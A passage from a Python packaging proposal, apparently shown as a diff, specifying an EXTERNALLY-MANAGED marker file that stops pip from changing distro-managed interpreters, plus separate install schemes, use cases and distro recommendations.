``python3`` executable available to the users of the distro and +the ``python3`` executable available as a dependency for other +software in the distro are typically the same binary. This means that +if an end user installs a Python package using a tool like ``pip`` +outside the context of a virtual environment, that package is visible +to Python-language software shipped by the distro. If the +newly-installed package (or one of its dependencies) is a newer, +backwards-incompatible version of a package that was installed through +the distro, it may break software shipped by the distro. + +This may pose a critical problem for the integrity of distros, which +often have package-management tools that are themselves written in +Python. For example, it's possible to unintentionally break Fedora's +``dnf`` command with a ``pip install`` command, making it hard to +recover. + +This applies both to system-wide installs (``sudo pip install``) as +well as user home directory installs (``pip install --user``), since +packages in either location show up on the ``sys.path`` of +``/usr/bin/python3``. + +There is a worse problem with system-wide installs: if you attempt to +recover from this situation with ``sudo pip uninstall``, you may end +up removing packages that are shipped by the system's package manager. +In fact, this can even happen if you simply upgrade a package - pip +will try to remove the old version of the package, as shipped by the +OS. At this point it may not be possible to recover the system to a +consistent state using just the software remaining on the system. + +Over the past many years, a consensus has emerged that the best way to +install Python libraries or applications (when not using a distro's +package) is to use a virtual environment. This approach was +popularized by the PyPA `virtualenv`_ project, and a simple version of +that approach is now available in the Python standard library as +``venv``. Installing a Python package into a virtualenv prevents it +from being visible to the unqualified ``/usr/bin/python3`` interpreter +and prevents breaking system software. + +.. _virtualenv: https://virtualenv.pypa.io/en/latest/ + +In some cases, however, it's useful and intentional to install a +Python package from outside of the distro that influences the behavior +of distro-shipped commands. This is common in the case of software +like Sphinx or Ansible which have a mechanism for writing +Python-language extensions. A user may want to use their distro's +version of the base software (for reasons of paid support or security +updates) but install a small extension from PyPI, and they'd want that +extension to be importable by the software in their base system. + +While this continues to carry the risk of installing a newer version +of a dependency than the operating system expects or otherwise +negatively affecting the behavior of an application, it does not need +to carry the risk of removing files from the operating system. A tool +like pip should be able to install packages in some directory on the +default ``sys.path``, if specifically requested, without deleting +files owned by the system's package manager. + +Therefore, this PEP proposes two things. + +First, it proposes **a way for distributors of a Python interpreter to +mark that interpreter as having its packages managed by means external +to Python**, such that Python-specific tools like pip should not +change the installed packages in the interpreter's global ``sys.path`` +in any way (add, upgrade/downgrade, or remove) unless specifically +overridden. It also provides a means for the distributor to indicate +how to use a virtual environment as an alternative. + +This is an opt-in mechanism: by default, the Python interpreter +compiled from upstream sources will not be so marked, and so running +``pip install`` with a self-compiled interpreter, or with a distro +that has not explicitly marked its interpreter, will work as it always +has worked. + +Second, it sets the rule that when installing packages to an +interpreter's global context (either to an unmarked interpreter, or if +overriding the marking), **Python-specific package managers should +modify or delete files only within the directories of the sysconfig +scheme in which they would create files**. This permits a distributor +of a Python interpreter to set up two directories, one for its own +managed packages, and one for unmanaged packages installed by the end +user, and ensure that installing unmanaged packages will not delete +(or overwrite) files owned by the external package manager. + +Rationale +========= + +As described in detail in the next section, the first behavior change +involves creating a marker file named ``EXTERNALLY-MANAGED``, whose +presence indicates that non-virtual-environment package installations +are managed by some means external to Python, such as a distro's +package manager. This file is specified to live in the ``stdlib`` +directory in the default ``sysconfig`` scheme, which marks the +interpreter / installation as a whole, not a particular location on +``sys.path``. The reason for this is that, as identified above, there +are two related problems that risk breaking an externally-managed +Python: you can install an incompatible new version of a package +system-wide (e.g., with ``sudo pip install``), and you can install one +in your user account alone, but in a location that is on the standard +Python command's ``sys.path`` (e.g., with ``pip install --user``). If +the marker file were in the system-wide ``site-packages`` directory, +it would not clearly apply to the second case. The `Alternatives`_ +section has further discussion of possible locations. + +The second behavior change takes advantage of the existing +``sysconfig`` setup in distros that have already encountered this +class of problem, and specifically addresses the problem of a +Python-specific package manager deleting or overwriting files that are +owned by an external package manager. + +Use cases +--------- + +The changed behavior in this PEP is intended to "do the right thing" +for as many use cases as possible. In this section, we consider the +changes specified by this PEP for several representative use cases / +contexts. Specifically, we ask about the two behaviors that could be +changed by this PEP: + +1. Will a Python-specific installer tool like ``pip install`` permit + installations by default, after implementation of this PEP? + +2. If you do run such a tool, should it be willing to delete packages + shipped by the external (non-Python-specific) package manager for + that context, such as a distro package manager? + +(For simplicity, this section discusses pip as the Python-specific +installer tool, though the analysis should apply equally to any other +Python-specific package management tool.) + +This table summarizes the use cases discussed in detail below: + +==== ================================= =========================== =================================================== +Case Description ``pip install`` permitted Deleting externally-installed packages permitted +==== ================================= =========================== =================================================== +1 Unpatched CPython Currently yes; stays yes Currently yes; stays yes +2 Distro ``/usr/bin/python3`` Currently yes; becomes no Currently yes (except on Debian); becomes no + (assuming the distro + adds a marker file) +3 Distro Python in venv Currently yes; stays yes There are no externally-installed packages +4 Distro Python in venv Currently yes; stays yes Currently no; stays no + with ``--system-site-packages`` +5 Distro Python in Docker Currently yes; stays yes Currently yes; becomes no + (assuming the Docker image + removes the marker file) +6 Conda environment Currently yes; stays yes Currently yes; stays yes +7 Dev-facing distro Currently yes; becomes no Currently often yes; becomes no + (assuming they add a (assuming they configure ``sysconfig`` as needed) + marker file) +8 Distro building packages Currently yes; can stay yes Currently yes; becomes no +9 ``PYTHONHOME`` copied from Currently yes; becomes no Currently yes; becomes no + a distro Python stdlib +10 ``PYTHONHOME`` copied from Currently yes; stays yes Currently yes; stays yes + upstream Python stdlib +==== ================================= =========================== =================================================== + +In more detail, the use cases above are: + +1. A standard unpatched CPython, without any special configuration of + or patches to ``sysconfig`` and without a marker file. This PEP + does not change its behavior. + + Such a CPython should (regardless of this PEP) not be installed in + a way that overlaps any distro-installed Python on the same system. + For instance, on an OS that ships Python in ``/usr/bin``, you + should not install a custom CPython built with ``./configure + --prefix=/usr``, or it will overwrite some files from the distro + and the distro will eventually overwrite some files from your + installation. Instead, your installation should be in a separate + directory (perhaps ``/usr/local``, ``/opt``, or your home + directory). + + Therefore, we can assume that such a CPython has its own ``stdlib`` + directory and its own ``sysconfig`` schemes that do not overlap any + distro-installed Python. So any OS-installed packages are not + visible or relevant here. + + If there is a concept of "externally-installed" packages in this + case, it's something outside the OS and generally managed by + whoever built and installed this CPython. Because the installer + chose not to add a marker file or modify ``sysconfig`` schemes, + they're choosing the current behavior, and ``pip install`` can + remove any packages available in this CPython. + +2. A distro's ``/usr/bin/python3``, either when running ``pip + install`` as root or ``pip install --user``, following our + `Recommendations for distros`_. + + These recommendations include shipping a marker file in the + ``stdlib`` directory, to prevent ``pip install`` by default, and + placing distro-shipped packages in a location other than the + default ``sysconfig`` scheme, so that ``pip`` as root does not + write to that location. + + Many distros (including Debian, Fedora, and their derivatives) are + already doing the latter. + + On Debian and derivatives, ``pip install`` does not currently + delete distro-installed packages, because Debian carries a `patch + to pip to prevent this`__. So, for those distros, this PEP is not a + behavior change; it simply standardizes that behavior in a way that + is no longer Debian-specific and can be included into upstream pip. + + .. __: https://sources.debian.org/src/python-pip/20.3.4-2/debian/patches/hands-off-system-packages.patch/ + + (We have seen user reports of externally-installed packages being + deleted on Debian or a derivative. We suspect this is because the + user has previously run ``sudo pip install --upgrade pip`` and + therefore now has a version of ``/usr/bin/pip`` without the Debian + patch; standardizing this behavior in upstream package installers + would address this problem.) + +3. A distro Python when used inside a virtual environment (either from + ``venv`` or ``virtualenv``). + + Inside a virtual environment, all packages are owned by that + environment. Even when ``pip``, ``setuptools``, etc. are installed + into the environment, they are and should be managed by tools + specific to that environment; they are not system-managed. + +4. A distro Python when used inside a virtual environment with + ``--system-site-packages``. This is like the previous case, but + worth calling out explicitly, because anything on the global + ``sys.path`` is visible. + + Currently, the answer to "Will ``pip`` delete externally-installed + packages" is no, because pip has a special case for running in a + virtual environment and attempting to delete packages outside it. + After this PEP, the answer remains no, but the reasoning becomes + more general: system site packages will be outside any of the + ``sysconfig`` schemes used for package management in the + environment. + +5. A distro Python when used in a single-application container image + (e.g., a Docker container). In this use case, the risk of breaking + system software is lower, since generally only a single application + runs in the container, and the impact is lower, since you can + rebuild the container and you don't have to struggle to recover a + running machine. There are also a large number of existing + Dockerfiles with an unqualified ``RUN pip install ...`` statement, + etc., and it would be good not to break those. So, builders of base + container images may want to ensure that the marker file is not + present, even if the underlying OS ships one by default. + + There is a small behavior change: currently, ``pip`` run as root + will delete externally-installed packages, but after this PEP it + will not. We don't propose a way to override this. However, since + the base image is generally minimal, there shouldn't be much of a + use case for simply uninstalling packages (especially without using + the distro's own tools). The common case is when pip wants to + upgrade a package, which previously would have deleted the old + version (except on Debian). After this change, the old version will + still be on disk, but pip will still *shadow* externally-installed + packages, and we believe this to be sufficient for this not to be a + breaking change in practice - a Python ``import`` statement will + still get you the newly-installed package. + + If it becomes necessary to have a way to do this, we suggest that + the distro should document a way for the installer tool to access + the ``sysconfig`` scheme used by the distro itself. See the + `Recommendations for distros`_ section for more discussion. + + It is the view of the authors of this PEP that it's still a good + idea to use virtual environments with distro-installed Python + interpreters, even in single-application container images. Even + though they run a single *application*, that application may run + commands from the OS that are implemented in Python, and if you've + installed or upgraded the distro-shipped Python packages using + Python-specific tools, those commands may break. + +6. Conda specifically supports the use of non-``conda`` tools like pip + to install software not available in the Conda repositories. In + this context, Conda acts as the external package manager / distro + and pip as the Python-specific one. + + In some sense, this is similar to the first case, since Conda + provides its own installation of the Python interpreter. + + We don't believe this PEP requires any changes to Conda, and + versions of pip that have implemented the changes in this PEP will + continue to behave as they currently do inside Conda environments. + (That said, it may be worth considering whether to use separate + ``sysconfig`` schemes for pip-installed and Conda-installed + software, for the same reasons it's a good idea for other distros.) + +7. By a "developer-facing distro," we mean a specific type of distro + where direct users of Python or other languages in the distro are + expected or encouraged to make changes to the distro itself if they + wish to add libraries. Common examples include private "monorepos" + at software development companies, where a single repository builds + both third-party and in-house software, and the direct users of the + distro's Python interpreter are generally software developers + writing said in-house software. User-level package managers like + Nixpkgs_ may also count, because they encourage users of Nix who + are Python developers to `package their software for Nix`__. + + In these cases, the distro may want to respond to an attempted + ``pip install`` with guidance encouraging use of the distro's own + facilities for adding new packages, along with a link to + documentation. + + If the distro supports/encourages creating a virtual environment + from the distro's Python interpreter, there may also be custom + instructions for how to properly set up a virtual environment (as + for example Nixpkgs does). + + .. _Nixpkgs: https://github.com/NixOS/nixpkgs + + .. __: https://nixos.wiki/wiki/Python + +8. When building distro Python packages for a distro Python (case 2), + it may be useful to have ``pip install`` be usable as part of the + distro's package build process. (Consider, for instance, building a + ``python-xyz`` RPM by using ``pip install .`` inside an sdist / + source tarball for ``xyz``.) The distro may also want to use a more + targeted but still Python-specific installation tool such as + installer_. + + .. _installer: https://installer.rtfd.io/ + + For this case, the build process will need to find some way to + suppress the marker file to allow ``pip install`` to work, and will + probably need to point the Python-specific tool at the distro's + ``sysconfig`` scheme instead of the shipped default. See the + `Recommendations for distros`_ section for more discussion on how + to implement this. + + As a result of this PEP, pip will no longer be able to remove + packages already on the system. However, this behavior change is + fine because a package build process should not (and generally + cannot) include instructions to delete some other files on the + system; it can only package up its own files. + +9. A distro Python used with ``PYTHONHOME`` to set up an alternative + Python environment (as opposed to a virtual environment), where + ``PYTHONHOME`` is set to some directory copied directly from the + distro Python (e.g., ``cp -a /usr/lib/python3.x pyhome/lib``). + + Assuming there are no modifications, then the behavior is just like + the underlying distro Python (case 2). So there are behavior + changes - you can no longer ``pip install`` by default, and if you + override it, it will no longer delete externally-installed packages + (i.e., Python packages that were copied from the OS and live in the + OS-managed ``sys.path`` entry). + + This behavior change seems to be defensible, in that if your + ``PYTHONHOME`` is a straight copy of the distro's Python, it should + behave like the distro's Python. + +10. A distro Python (or any Python interpreter) used with a + ``PYTHONHOME`` taken from a compatible unmodified upstream Python. + + Because the behavior changes in this PEP are keyed off of files in + the standard library (the marker file in ``stdlib`` and the + behavior of the ``sysconfig`` module), the behavior is just like + an unmodified upstream CPython (case 1). + +Specification +============= + +Marking an interpreter as using an external package manager +----------------------------------------------------------- + +Before a Python-specific package installer (that is, a tool such as +pip - not an external tool such as apt) installs a package into a +certain Python context, it should make the following checks by +default: + +1. Is it running outside of a virtual environment? It can determine + this by whether ``sys.prefix == sys.base_prefix`` (but see + `Backwards Compatibility`_). + +2. Is there an ``EXTERNALLY-MANAGED`` file in the directory identified + by ``sysconfig.get_path("stdlib", + sysconfig.get_default_scheme())``? + +If both of these conditions are true, the installer should exit with +an error message indicating that package installation into this Python +interpreter's directory are disabled outside of a virtual environment. + +The installer should have a way for the user to override these rules, +such as a command-line flag ``--break-system-packages``. This option +should not be enabled by default and should carry some connotation +that its use is risky. + +The ``EXTERNALLY-MANAGED`` file is an INI-style metadata file intended +to be parsable by the standard library configparser_ module. If the +file can be parsed by +``configparser.ConfigParser(interpolation=None)`` using the UTF-8 +encoding, and it contains a section ``[externally-managed]``, then the +installer should look for an error message specified in the file and +output it as part of its error. If the first element of the tuple +returned by ``locale.getlocale(locale.LC_MESSAGES)``, i.e., the +language code, is not ``None``, it should look for the error message +as the value of a key named ``Error-`` followed by the language code. +If that key does not exist, and if the language code contains +underscore or hyphen, it should look for a key named ``Error-`` +followed by the portion of the language code before the underscore or +hyphen. If it cannot find either of those, or if the language code is +``None``, it should look for a key simply named ``Error``. + +.. _configparser: https://docs.python.org/3/library/configparser.html + +If the installer cannot find an error message in the file (either +because the file cannot be parsed or because no suitable error key +exists), then the installer should just use a pre-defined error +message of its own, which should suggest that the user create a +virtual environment to install packages. + +Software distributors who have a non-Python-specific package manager +that manages libraries in the ``sys.path`` of their Python package +should, in general, ship a ``EXTERNALLY-MANAGED`` file in their +standard library directory. For instance, Debian may ship a file in +``/usr/lib/python3.9/EXTERNALLY-MANAGED`` consisting of something like + +:: + + [externally-managed] + Error=To install Python packages system-wide, try apt install + python3-xyz, where xyz is the package you are trying to + install. + + If you wish to install a non-Debian-packaged Python package, + create a virtual environment using python3 -m venv path/to/venv. + Then use path/to/venv/bin/python and path/to/venv/bin/pip. Make + sure you have python3-full installed. + + If you wish to install a non-Debian packaged Python application, + it may be easiest to use pipx install xyz, which will manage a + virtual environment for you. Make sure you have pipx installed. + + See /usr/share/doc/python3.9/README.venv for more information. + +which provides useful and distro-relevant information +to a user trying to install a package. Optionally, +translations can be provided in the same file: + +:: + + Error-de_DE=Wenn ist das Nunstück git und Slotermeyer? + + Ja! Beiherhund das Oder die Virtualenvironment gersput! + +In certain contexts, such as single-application container images that +aren't updated after creation, a distributor may choose not to ship an +``EXTERNALLY-MANAGED`` file, so that users can install whatever they +like (as they can today) without having to manually override this +rule. + +Writing to only the target ``sysconfig`` scheme +----------------------------------------------- + +Usually, a Python package installer installs to directories in a +scheme returned by the ``sysconfig`` standard library package. +Ordinarily, this is the scheme returned by +``sysconfig.get_default_scheme()``, but based on configuration (e.g. +``pip install --user``), it may use a different scheme. + +Whenever the installer is installing to a ``sysconfig`` scheme, this +PEP specifies that the installer should never modify or delete files +outside of that scheme. For instance, if it's upgrading a package, and +the package is already installed in a directory outside that scheme +(perhaps in a directory from another scheme), it should leave the +existing files alone. + +If the installer does end up shadowing an existing installation during +an upgrade, we recommend that it produces a warning at the end of its +run. + +If the installer is installing to a location outside of a +``sysconfig`` scheme (e.g., ``pip install --target``), then this +subsection does not apply. + +Recommendations for distros +=========================== + +This section is non-normative. It provides best practices we believe +distros should follow unless they have a specific reason otherwise. + +Mark the installation as externally managed +------------------------------------------- + +Distros should create an ``EXTERNALLY-MANAGED`` file in their +``stdlib`` directory. + +Guide users towards virtual environments +---------------------------------------- + +The file should contain a useful and distro-relevant error message +indicating both how to install system-wide packages via the distro's +package manager and how to set up a virtual environment. If your +distro is often used by users in a state where the ``python3`` command +is available (and especially where ``pip`` or ``get-pip`` is +available) but ``python3 -m venv`` does not work, the message should +indicate clearly how to make ``python3 -m venv`` work properly. + +Consider packaging pipx_, a tool for installing Python-language +applications, and suggesting it in the error. pipx automatically +creates a virtual environment for that application alone, which is a +much better default for end users who want to install some +Python-language software (which isn't available in the distro) but are +not themselves Python users. Packaging pipx in the distro avoids the +irony of instructing users to ``pip install --user +--break-system-packages pipx`` to *avoid* breaking system packages. +Consider arranging things so your distro's package / environment for +Python for end users (e.g., ``python3`` on Fedora or ``python3-full`` +on Debian) depends on pipx. + +.. _pipx: https://github.com/pypa/pipx + +Keep the marker file in container images +---------------------------------------- + +Distros that produce official images for single-application containers +(e.g., Docker container images) should keep the +``EXTERNALLY-MANAGED`` file, preferably in a way that makes it not +go away if a user of that image installs package updates inside +their image (think ``RUN apt-get dist-upgrade``). + +Create separate distro and local directories +-------------------------------------------- + +Distros should place two separate paths on the system interpreter's +``sys.path``, one for distro-installed packages and one for packages +installed by the local system administrator, and configure +``sysconfig.get_default_scheme()`` to point at the latter path. This +ensures that tools like pip will not modify distro-installed packages. +The path for the local system administrator should come before the +distro path on ``sys.path`` so that local installs take preference +over distro packages. + +For example, Fedora and Debian (and their derivatives) both implement +this split by using ``/usr/local`` for locally-installed packages and +``/usr`` for distro-installed packages. Fedora uses +``/usr/local/lib/python3.x/site-packages`` vs. +``/usr/lib/python3.x/site-packages``. (Debian uses +``/usr/local/lib/python3/dist-packages`` vs. +``/usr/lib/python3/dist-packages`` as an additional layer of +separation from a locally-compiled Python interpreter: if you build +and install upstream CPython in ``/usr/local/bin``, it will look at +``/usr/local/lib/python3/site-packages``, and Debian wishes to make +sure that packages installed via the locally-built interpreter don't +show up on ``sys.path`` for the distro interpreter.) + +Note that the ``/usr/local`` vs. ``/usr`` split is analogous to how +the ``PATH`` environment variable typically includes +``/usr/local/bin:/usr/bin`` and non-distro software installs to +``/usr/local`` by default. This split is `recommended by the +Filesystem Hierarchy Standard`__. + +.. __: https://refspecs.linuxfoundation.org/FHS_3.0/fhs/ch04s09.html + +There are two ways you could do this. One is, if you are building and +packaging Python libraries directly (e.g., your packaging helpers +unpack a :pep:`517`-built wheel or call ``setup.py install``), arrange +for those tools to use a directory that is not in a ``sysconfig`` +scheme but is still on ``sys.path``. + +The other is to arrange for the default ``sysconfig`` scheme to change +when running inside a package build versus when running on an +installed system. The ``sysconfig`` customization hooks from +bpo-43976_ should make this easy: make your packaging tool set an +environment variable or some other detectable configuration, and +define a ``get_preferred_schemes`` function to return a different +scheme when called from inside a package build. Then you can use ``pip +install`` as part of your distro packaging. + +.. _bpo-43976: https://bugs.python.org/issue43976 + +We propose adding a ``--scheme=...`` option to instruct pip to run +against a specific scheme. (See `Implementation Notes`_ below for how +pip currently determines schemes.) Once that's available, for local +testing and possibly for actual packaging, you would be able to run +something like ``pip install --scheme=posix_distro`` to explicitly +install a package into your distro's location (bypassing +``get_preferred_schemes``). One could also, if absolutely needed, use +``pip uninstall --scheme=posix_distro`` to use pip to remove packages +from the system-managed directory, which addresses the (hopefully +theoretical) regression in use case 5 in Rationale_. + +To install packages with pip, you would also need to either suppress +the ``EXTERNALLY-MANAGED`` marker file to allow pip to run or to +override it on the command line. You may want to use the same means +for suppressing the marker file in build chroots as you do in +container images. + +The advantage of setting these up to be automatic (suppressing the +marker file in your build environment and having +``get_preferred_schemes`` automatically return your distro's scheme) +is that an unadorned ``pip install`` will work inside a package build, +which generally means that an unmodified upstream build script that +happens to internally call ``pip install`` will do the right thing. +You can, of course, just ensure that your packaging process always +calls ``pip install --scheme=posix_distro --break-system-packages``, +which would work too. + +The best approach here depends a lot on your distro's conventions and +mechanisms for packaging. + +Similarly, the ``sysconfig`` paths that are not for importable Python +code - that is, ``include``, ``platinclude``, ``scripts``, and +``data`` - should also have two variants, one for use by +distro-packaged software and one for use for locally-installed +software, and the distro should be set up such that both are usable. +For instance, a typical FHS-compliant distro will use +``/usr/local/include`` for the default scheme's ``include`` and +``/usr/include`` for distro-packaged headers and place both on the +compiler's search path, and it will use ``/usr/local/bin`` for the +default scheme's ``scripts`` and ``/usr/bin`` for distro-packaged +entry points and place both on ``$PATH``. + +Backwards Compatibility +======================= + +All of these mechanisms are proposed for new distro releases and new +versions of tools like pip only. + +In particular, we strongly recommend that distros with a concept of +major versions only add the marker file or change ``sysconfig`` +schemes in a new major version; otherwise there is a risk that, on an +existing system, software installed via a Python-specific package +manager now becomes unmanageable (without an override option). For a +rolling-release distro, if possible, only add the marker file or +change ``sysconfig`` schemes in a new Python minor version. + +One particular backwards-compatibility difficulty for package +installation tools is likely to be managing environments created by +old versions of ``virtualenv`` which have the latest version of the +tool installed. A "virtual environment" now has a fairly precise +definition: it uses the ``pyvenv.cfg`` mechanism, which causes +``sys.base_prefix != sys.prefix``. It is possible, however, that a +user may have an old virtual environment created by an older version +of ``virtualenv``; as of this writing, pip supports Python 3.6 +onwards, which is in turn supported by ``virtualenv`` 15.1.0 onwards, +so this scenario is possible. In older versions of ``virtualenv``, the +mechanism is instead to set a new attribute, ``sys.real_prefix``, and +it does not use the standard library support for virtual environments, +so ``sys.base_prefix`` is the same as ``sys.prefix``. So the logic for +robustly detecting a virtual environment is something like:: + + def is_virtual_environment(): + return sys.base_prefix != sys.prefix or hasattr(sys, "real_prefix") + +Security Implications +===================== + +The purpose of this feature is not to implement a security boundary; +it is to discourage well-intended changes from unexpectedly breaking a +user's environment. That is to say, the reason this PEP restricts +``pip install`` outside a virtual environment is not that it's a +security risk to be able to do so; it's that "There should be one-- +and preferably only one --obvious way to do it," and that way should +be using a virtual environment. ``pip install`` outside a virtual +environment is rather too obvious for what is almost always the wrong +way to do it. + +If there is a case where a user should not be able to ``sudo pip +install`` or ``pip install --user`` and add files to ``sys.path`` *for +security reasons*, that needs to be implemented either via access +control rules on what files the user can write to or an explicitly +secured ``sys.path`` for the program in question. Neither of the +mechanisms in this PEP should be interpreted as a way to address such +a scenario. + +For those reasons, an attempted install with a marker file present is +not a security incident, and there is no need to raise an auditing +event for it. If the calling user legitimately has access to ``sudo +pip install`` or ``pip install --user``, they can accomplish the same +installation entirely outside of Python; if they do not legitimately +have such access, that's a problem outside the scope of this PEP. + +The marker file itself is located in the standard library directory, +which is a trusted location (i.e., anyone who can write to the marker +file used by a particular installer could, presumably, run arbitrary +code inside the installer). Therefore, there is generally no need to +filter out terminal escape sequences or other potentially-malicious +content in the error message. + +Alternatives +============== + +There are a number of similar proposals we considered that this PEP +rejects or defers, largely to preserve the behavior in the +case-by-case analysis in Rationale_. + +Marker file +----------- + +Should the marker file be in ``sys.path``, marking a particular +directory as not to be written to by a Python-specific package +manager? This would help with the second problem addressed by this PEP +(not overwriting deleting distro-owned files) but not the first +(incompatible installs). A directory-specific marker in +``/usr/lib/python3.x/site-packages`` would not discourage +installations into either ``/usr/local/lib/python3.x/site-packages`` +or ``~/.local/lib/python3.x/site-packages``, both of which are on +``sys.path`` for ``/usr/bin/python3``. In other words, the marker file +should not be interpreted as marking a single *directory* as +externally managed (even though it happens to be in a directory on +``sys.path``); it marks the entire *Python installation* as externally +managed. + +Another variant of the above: should the marker file be in +``sys.path``, where if it can be found in any directory in +``sys.path``, it marks the installation as externally managed? An +apparent advantage of this approach is that it automatically disables +itself in virtual environments. Unfortunately, This has the wrong +behavior with a ``--system-site-packages`` virtual environment, where +the system-wide ``sys.path`` is visible but package installations are +allowed. (It could work if the rule of exempting virtual environments +is preserved, but that seems to have no advantage over the current +scheme.) + +Should the marker just be a new attribute of a ``sysconfig`` scheme? +There is some conceptual cleanliness to this, except that it's hard to +override. We want to make it easy for container images, package build +environments, etc. to suppress the marker file. A file that you can +remove is easy; code in ``sysconfig`` is much harder to modify. + +Should the file be in ``/etc``? No, because again, it refers to a +specific Python installation. A user who installs their own Python may +well want to install packages within the global context of that +interpreter. + +Should the configuration setting be in ``pip.conf`` or +``distutils.cfg``? Apart from the above objections about marking an +installation, this mechanism isn't specific to either of those tools. +(It seems reasonable for pip to *also* implement a configuration flag +for users to prevent themselves from performing accidental +non-virtual-environment installs in any Python installation, but that +is outside the scope of this PEP.) + +Should the file be TOML? TOML is gaining popularity for packaging (see +e.g. :pep:`517`) but does not yet have an implementation in the standard +library. Strictly speaking, this isn't a blocker - distros need only +write the file, not read it, so they don't need a TOML library (the +file will probably be written by hand, regardless of format), and +packaging tools likely have a TOML reader already. However, the INI +format is currently used for various other forms of packaging metadata +(e.g., ``pydistutils.cfg`` and ``setup.cfg``), meets our needs, and is +parsable by the standard library, and the pip maintainers expressed a +preference to avoid using TOML for this yet. + +Should the file be ``email.message``-style? While this format is also +used for packaging metadata (e.g. sdist and wheel metadata) and is +also parsable by the standard library, it doesn't handle multi-line +entries quite as clearly, and that is our primary use case. + +Should the marker file be executable Python code that evaluates +whether installation should be allowed or not? Apart from the concerns +above about having the file in ``sys.path``, we have a concern that +making it executable is committing to too powerful of an API and risks +making behavior harder to understand. (Note that the +``get_default_scheme`` hook of bpo-43976_ is in fact executable, but +that code needs to be supplied when the interpreter builds; it isn't +intended to be supplied post-build.) + +When overriding the marker, should a Python-specific package manager +be disallowed from shadowing a package installed by the external +package manager (i.e., installing modules of the same name)? This +would minimize the risk of breaking system software, but it's not +clear it's worth the additional user experience complexity. There are +legitimate use cases for shadowing system packages, and an additional +command-line option to permit it would be more confusing. Meanwhile, +not passing that option wouldn't eliminate the risk of breaking system +software, which may be relying on a ``try: import xyz`` failing, +finding a limited set of entry points, etc. Communicating this +distinction seems difficult. We think it's a good idea for +Python-specific package managers to print a warning if they shadow a +package, but we think it's not worth disabling it by default. + +Why not use the ``INSTALLER`` file from :pep:`376` to determine who +installed a package and whether it can be removed? First, it's +specific to a particular package (it's in the package's ``dist-info`` +directory), so like some of the alternatives above, it doesn't provide +information on an entire environment and whether package installations +are permissible. :pep:`627` also updates :pep:`376` to prevent programmatic +use of ``INSTALLER``, specifying that the file is "to be used for +informational purposes only. [...] Our goal is supporting +interoperating tools, and basing any action on which tool happened to +install a package runs counter to that goal." Finally, as :pep:`627` +envisions, there are legitimate use cases for one tool knowing how to +handle packages installed by another tool; for instance, ``conda`` can +safely remove a package installed by ``pip`` into a Conda environment. + +Why does the specification give no means for disabling package +installations inside a virtual environment? We can't see a +particularly strong use case for it (at least not one related to the +purposes of this PEP). If you need it, it's simple enough to ``pip +uninstall pip`` inside that environment, which should discourage at +least unintentional changes to the environment (and this specification +makes no provision to disable *intentional* changes, since after all +the marker file can be easily removed). + +System Python +------------- + +Shouldn't distro software just run with the distro ``site-packages`` +directory alone on ``sys.path`` and ignore the local system +administrator's ``site-packages`` as well as the user-specific one? +This is a worthwhile idea, and various versions of it have been +circulating for a while under the name of "system Python" or "platform +Python" (with a separate "user Python" for end users writing Python or +installing Python software separate from the system). However, it's +much more involved of a change. First, it would be a +backwards-incompatible change. As mentioned in the Motivation_ +section, there are valid use cases for running distro-installed Python +applications like Sphinx or Ansible with locally-installed Python +libraries available on their ``sys.path``. A wholesale switch to +ignoring local packages would break these use cases, and a distro +would have to make a case-by-case analysis of whether an application +ought to see locally-installed libraries or not. + +Furthermore, `Fedora attempted this change and reverted it`_, finding, +ironically, that their implementation of the change `broke their +package manager`_. Given that experience, there are clearly details to +be worked out before distros can reliably implement that approach, and +a PEP recommending it would be premature. + +.. _`Fedora attempted this change and reverted it`: https://lists.fedoraproject.org/archives/list/devel@lists.fedoraproject.org/thread/SEFUWW4XZBTVOAQ36XOJQ72PIICMFOSN/ +.. _`broke their package manager`: https://bugzilla.redhat.com/show_bug.cgi?id=1483342 + +This PEP is intended to be a complete and self-contained change that +is independent of a distributor's decision for or against "system +Python" or similar proposals. It is not incompatible with a distro +implementing "system Python" in the future, and even though both +proposals address the same class of problems, there are still +arguments in favor of implementing something like "system Python" even +after implementing this PEP. At the same time, though, this PEP +specifically tries to make a more targeted and minimal change, such +that it can be implemented by distributors who don't expect to adopt +"system Python" (or don't expect to implement it immediately). The +changes in this PEP stand on their own merits and are not an +intermediate step for some future proposal. This PEP reduces (but does +not eliminate) the risk of breaking system software while minimizing +(but not completely avoiding) breaking changes, which should therefore +be much easier to implement than the full "system Python" idea, which +comes with the downsides mentioned above. + +We expect that the guidance in this PEP - that users should use +virtual environments whenever possible and that distros should have +separate ``sys.path`` directories for distro-managed and +locally-managed modules - should make further experiments easier in +the future. These may include distributing wholly separate "system" +and "user" Python interpreters, running system software out of a +distro-owned virtual environment or ``PYTHONHOME`` (but shipping a +single interpreter), or modifying the entry points for certain +software (such as the distro's package manager) to use a ``sys.path`` +that only sees distro-managed directories. Those ideas themselves, +however, remain outside the scope of this PEP. + +Implementation Notes +==================== + +This section is non-normative and contains notes relevant to both the +specification and potential implementations. + +Currently, pip does not directly expose a way to choose a target +``sysconfig`` scheme, but it has three ways of looking up schemes when +installing: + +``pip install`` + Calls ``sysconfig.get_default_scheme()``, which is usually (in + upstream CPython and most current distros) the same as + ``get_preferred_scheme('prefix')``. + +``pip install --prefix=/some/path`` + Calls ``sysconfig.get_preferred_scheme('prefix')``. + +``pip install --user`` + Calls ``sysconfig.get_preferred_scheme('user')``. + +Finally, ``pip install --target=/some/path`` writes directly to +``/some/path`` without looking up any schemes. + +Debian currently carries a `patch to change the default install +location inside a virtual environment`__, using a few heuristics +(including checking for the ``VIRTUAL_ENV`` environment variable), +largely so that the directory used in a virtual environment remains +``site-packages`` and not ``dist-packages``. This does not +particularly affect this proposal, because the implementation of that +patch does not actually change the default ``sysconfig`` scheme, and +notably does not change the result of +``sysconfig.get_path("stdlib")``. + +.. __: https://sources.debian.org/src/python3.7/3.7.3-2+deb10u3/debian/patches/distutils-install-layout.diff/ + +Fedora currently carries a `patch to change the default install +location when not running inside rpmbuild`__, which they use to +implement the two-system-wide-directories approach. This is +conceptually the sort of hook envisioned by bpo-43976_, except +implemented as a code patch to ``distutils`` instead of as a changed +``sysconfig`` scheme. + +.. __: https://src.fedoraproject.org/rpms/python3.9/blob/f34/f/00251-change-user-install-location.patch + +The implementation of ``is_virtual_environment`` above, as well as the +logic to load the ``EXTERNALLY-MANAGED`` file and find the error +message from it, may as well get added to the standard library +(``sys`` and ``sysconfig``, respectively), to centralize their +implementations, but they don't need to be added yet. + +References +========== + +For additional background on these problems and previous attempts to +solve them, see `Debian bug 771794`_ "pip silently removes/updates +system provided python packages" from 2014, Fedora's 2018 article +`Making sudo pip 